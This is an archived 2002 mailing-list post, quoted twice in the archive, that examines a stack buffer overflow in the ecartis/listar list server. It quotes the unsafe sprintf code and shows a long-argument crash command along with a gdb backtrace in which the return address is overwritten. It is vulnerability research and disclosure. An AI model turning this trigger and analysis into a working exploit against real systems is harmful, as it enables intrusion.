Vulnerability Development mailing list archives

Re: listar / ecaris remote or local?


From: KF <dotslash () snosoft com>
Date: Wed, 27 Feb 2002 13:36:31 -0500

Just got home had a sec to investigate further...
<snip> from core.c

 char buf[BIG_BUF];    ...
  while(*argv) {
     struct listserver_cmdarg *tmp = find_cmdarg(argv[0]);
     if(!tmp) {
sprintf(buf, "Unrecognized command line argument '%s'.", argv[0]);
         internal_error(buf);

-KF


KF wrote:

http://online.securityfocus.com/bid/4176 states a Remote issue...

bugtraq id 4176
object
class Boundary Condition Error
cve CVE-MAP-NOMATCH
remote Yes
local No


Which is it local or remote ... or both? Is this (see below) even the same issue? [root@linuxppc <mailto:root@linuxppc> src]# ./ecartis `perl -e 'print "A" x 9000'`
[root@linuxppc <mailto:root@linuxppc> src]#
^-------- ecartis is sneaky... trying to hide segfaults from me.

[root@linuxppc <mailto:root@linuxppc> src]# gdb ./ecartis
(gdb) r `perl -e 'print "A" x 9000'`
Starting program: //root/ecartis-1.0.0/src//./ecartis `perl -e 'print "A" x 9000'`

Program received signal SIGSEGV, Segmentation fault
0x0fe6fcf8 in getenv () from /lib/libc.so.6

(gdb) bt
#0  0x0fe6fcf8 in getenv () from /lib/libc.so.6
#1  0x0fedb590 in adjtime () from /lib/libc.so.6
#2  0x0fedc3cc in adjtime () from /lib/libc.so.6
#3  0x0fed8a08 in localtime () from /lib/libc.so.6
#4 0x1000b5f4 in get_date (buffer=0x7fffbf88 "\017÷\205È", len=80, now=1014824239) at core.c:1262
#5  0x1000bd14 in error_heading () at forms.c:162
#6  0x100091f0 in internal_error (
message=0x7fffd078 "Unrecognized command line argument '", 'A' <repeats 164 times>...) at core.c:428
#7  0x1000a888 in main (argc=2, argv=0x7fffd508) at core.c:959
#8  0x41414141 in ?? ()

-KF







--- Begin Message --- From: KF <dotslash () snosoft com>
Date: Wed, 27 Feb 2002 13:35:11 -0500
Just got home had a sec to investigate further...
<snip> from core.c

char buf[BIG_BUF]; ...
   while(*argv) {
      struct listserver_cmdarg *tmp = find_cmdarg(argv[0]);
      if(!tmp) {
sprintf(buf, "Unrecognized command line argument '%s'.", argv[0]);
          internal_error(buf);

-KF


KF wrote:

http://online.securityfocus.com/bid/4176 states a Remote issue...

bugtraq id 4176
object
class Boundary Condition Error
cve CVE-MAP-NOMATCH
remote Yes
local No


Which is it local or remote ... or both? Is this (see below) even the same issue?
[root@linuxppc src]# ./ecartis  `perl -e 'print "A" x 9000'`
[root@linuxppc src]#
^-------- ecartis is sneaky... trying to hide segfaults from me.

[root@linuxppc src]# gdb ./ecartis
(gdb) r `perl -e 'print "A" x 9000'`
Starting program: /root/ecartis-1.0.0/src/./ecartis `perl -e 'print "A" x 9000'`

Program received signal SIGSEGV, Segmentation fault
0x0fe6fcf8 in getenv () from /lib/libc.so.6

(gdb) bt
#0  0x0fe6fcf8 in getenv () from /lib/libc.so.6
#1  0x0fedb590 in adjtime () from /lib/libc.so.6
#2  0x0fedc3cc in adjtime () from /lib/libc.so.6
#3  0x0fed8a08 in localtime () from /lib/libc.so.6
#4 0x1000b5f4 in get_date (buffer=0x7fffbf88 "\017÷\205È", len=80, now=1014824239) at core.c:1262
#5  0x1000bd14 in error_heading () at forms.c:162
#6  0x100091f0 in internal_error (
message=0x7fffd078 "Unrecognized command line argument '", 'A' <repeats 164 times>...) at core.c:428
#7  0x1000a888 in main (argc=2, argv=0x7fffd508) at core.c:959
#8  0x41414141 in ?? ()

-KF








--- End Message ---

Current thread: